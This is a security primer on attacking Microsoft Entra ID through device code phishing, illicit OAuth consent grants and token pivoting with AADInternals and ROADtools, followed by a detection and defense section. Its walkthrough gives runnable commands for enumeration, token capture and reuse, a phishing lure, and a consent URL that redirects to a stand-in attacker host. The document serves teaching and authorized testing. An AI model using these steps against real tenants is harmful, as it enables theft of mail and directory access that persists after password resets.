Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively against tenants you own or have explicit written permission to assess. Phishing real users, stealing tokens, or registering applications in tenants you do not control is illegal in most jurisdictions.
Introduction / Overview
On-premises Active Directory attacks (think Kerberoasting or NTLM relay) are well understood, but the identity perimeter has moved to the cloud. Microsoft Entra ID (formerly Azure AD) is the authentication backbone for Microsoft 365, the Azure Resource Manager, and thousands of third-party SaaS apps. Compromise one tenant identity and you frequently get email, SharePoint, Teams, and management-plane access in one shot.
This primer walks through four core offensive primitives you will see on nearly every cloud engagement:
- Device code phishing — abusing the OAuth 2.0 device authorization grant to capture tokens without ever seeing the victim's password.
- Illicit consent grants — tricking a user into authorizing an attacker-controlled multi-tenant app.
- Token enumeration and pivoting with AADInternals and ROADtools.
We finish with a Detection & Defense section that carries equal weight to the offense.
How it works / Background
Entra ID issues OAuth 2.0 / OpenID Connect tokens. Three matter most:
- Access token (AT) — short-lived (typically ~60–90 min), scoped to a single resource/audience (e.g.
https://graph.microsoft.com). - Refresh token (RT) — long-lived; redeems new access tokens.
- Primary Refresh Token (PRT) — issued to a registered/joined device, the crown jewel for SSO.
The device authorization grant (RFC 8628) exists for input-constrained devices (smart TVs, CLIs). The client requests a device_code and a short user_code, then asks the human to visit https://microsoft.com/devicelogin and type the user_code. Crucially, the user authenticates and consents on their own browser — including passing MFA — while the attacker silently polls the token endpoint. That decoupling is exactly what makes it a potent phishing primitive: the victim sees a legitimate Microsoft login page on a legitimate Microsoft domain.
The consent attack abuses a different feature: any user (by default) can grant a multi-tenant OAuth app delegated permissions such as Mail.Read or offline_access. An attacker registers an app, crafts a consent URL, and the victim clicks "Accept" — granting the attacker a refresh token to their mailbox that survives password resets.
Prerequisites / Lab setup
Spin up a disposable Microsoft 365 Developer tenant (or your own test tenant). Install the tooling on a Linux or Windows box:
# ROADtools (Python) - enumeration and token handling
pipx install roadrecon
pipx install roadtx
# AADInternals (PowerShell) - requires PowerShell 5.1+ / 7+
pwsh -c "Install-Module AADInternals -Scope CurrentUser -Force"BashCreate a low-privilege test user and, separately, a Global Admin you control so you can validate detections in the audit log.
Attack walkthrough / PoC
1. Reconnaissance (unauthenticated)
Before touching a single credential, enumerate the tenant. AADInternals pulls config from public OpenID and autodiscover endpoints:
Import-Module AADInternals
# Tenant ID, brand, federation/managed status, name
Invoke-AADIntReconAsOutsider -Domain "contoso.com" | Format-Table
# Enumerate valid usernames via login error codes
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@contoso.com"PowerShellA managed (non-federated) domain that returns Desktop SSO Enabled = True or specific AADSTS error codes tells you which identities are valid before you spend a single phishing email.
2. Device code phishing
Generate a device code targeting a first-party client ID the user already trusts (e.g. the Microsoft Office client d3590ed6-52b3-4102-aeff-aad2292ab01c):
# AADInternals generates the user_code and starts polling
$body = @{
client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
resource = "https://graph.microsoft.com"
}
# High-level helper that prints the user_code and waits for sign-in
Get-AADIntAccessTokenForMSGraph -SaveToCache -UseDeviceCodePowerShellYou deliver the short user_code to the target ("Please verify your Microsoft session at microsoft.com/devicelogin and enter code F7XH2K9QP"). When they complete sign-in and MFA, your polling loop receives both an access token and a refresh token. Cache and reuse them:
# Inspect the captured token
Read-AADIntAccessToken -AccessToken (Get-AADIntCache)[0].AccessToken
# Pivot: mint an Exchange Online token from the refresh token
Get-AADIntAccessTokenForEXO -RefreshToken $rt -SaveToCachePowerShellWith roadtx you can do the same and refresh indefinitely:
roadtx devicecode -c msgraph -r msgraph
# After the victim signs in, roadtx writes .roadtools_auth
roadtx refreshtokento -r .roadtools_auth -c azcli # pivot to az CLI audienceBash3. Illicit consent grant
Register a multi-tenant app requesting juicy delegated scopes, then craft the admin/user consent URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<attacker-app-id>
&response_type=code
&redirect_uri=https://attacker.example/cb
&scope=offline_access%20Mail.Read%20Files.Read.All
&prompt=consentPlaintextOne click on "Accept" returns an auth code you exchange for a refresh token with Mail.Read — persistent mailbox access that ignores password changes. This maps to MITRE ATT&CK T1528 (Steal Application Access Token) and the "OAuth consent" sub-technique of T1566.
4. Post-exploitation enumeration with ROADtools
Once you hold any valid token, dump the directory into a local SQLite DB and explore in the browser GUI:
roadrecon auth --device-code -c msgraph # or --tokens from a captured RT
roadrecon gather # pulls users, groups, apps, roles, devices
roadrecon gui # http://127.0.0.1:5000BashHunt for privilege-escalation paths: owners of privileged service principals, app role assignments, dynamic group rules, and conditional-access gaps.
Mermaid diagram

The diagram shows the attacker generating a device code, the victim authenticating on Microsoft's own page, and the attacker polling the token endpoint to harvest tokens.
Detection & Defense (Blue Team)
Defense here is about killing the primitives, not chasing payloads.
Block device code where it isn't needed. Create a Conditional Access policy that targets the Authentication Flows control and blocks the device code flow for all users except a small break-glass group of legitimate devices:
CA policy → Conditions → Authentication flows → Device code flow → BlockPlaintextRestrict user consent. This is the single highest-value mitigation against illicit grants. In the Entra admin center set Enterprise applications → Consent and permissions → User consent settings to Do not allow user consent (or "consent for verified publishers, selected permissions"), and enable the admin consent workflow so requests are reviewed.
# Audit existing risky grants - look for unexpected offline_access / Mail.Read
Get-MgOauth2PermissionGrant -All |
Where-Object { $_.Scope -match "Mail.Read|Files.Read.All|offline_access" }PowerShellHunt in the sign-in and audit logs. Device code sign-ins are explicitly flagged. In Microsoft Sentinel / Log Analytics:
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, ResultTypeKustoAlert on AuthenticationProtocol == "deviceCode" from unexpected IP ranges, on Add app role assignment to service principal audit events, and on Consent to application events for apps not on an allow-list.
Tighten the blast radius. Enforce phishing-resistant MFA (FIDO2 / Windows Hello) — device code phishing survives push-based MFA but is far less useful when tokens are bound to compliant devices. Enable token protection (token binding) in Conditional Access, set Authenticator number matching, and shorten refresh-token lifetimes via Conditional Access session controls. Finally, register apps under publisher verification and review the risky service principals report regularly.
For pivots into Azure resources after identity compromise, also review managed identity and RBAC paths — see Azure Privilege Escalation Paths and the cloud-side of Pass-the-Token techniques.
Conclusion
Entra ID attacks rarely involve an exploit in the CVE sense. They abuse intended OAuth features: device code flow, delegated consent, and long-lived refresh tokens. AADInternals and ROADtools make the offensive primitives trivial to reproduce in a lab, which is exactly why defenders must close them proactively — block the device code flow where unneeded, lock down user consent, enforce phishing-resistant and device-bound MFA, and monitor deviceCode sign-ins and consent events. Master both sides and you will deliver findings that actually move a tenant's risk needle.
References
- MITRE ATT&CK: T1528 Steal Application Access Token — https://attack.mitre.org/techniques/T1528/
- MITRE ATT&CK: T1566 Phishing — https://attack.mitre.org/techniques/T1566/
- AADInternals documentation — https://aadinternals.com/aadinternals/
- ROADtools (dirkjanm) — https://github.com/dirkjanm/ROADtools
- RFC 8628, OAuth 2.0 Device Authorization Grant — https://www.rfc-editor.org/rfc/rfc8628
- Microsoft: Manage user consent and consent settings — https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-user-consent
- HackTricks Cloud: Azure / Entra ID — https://cloud.hacktricks.xyz/



Comments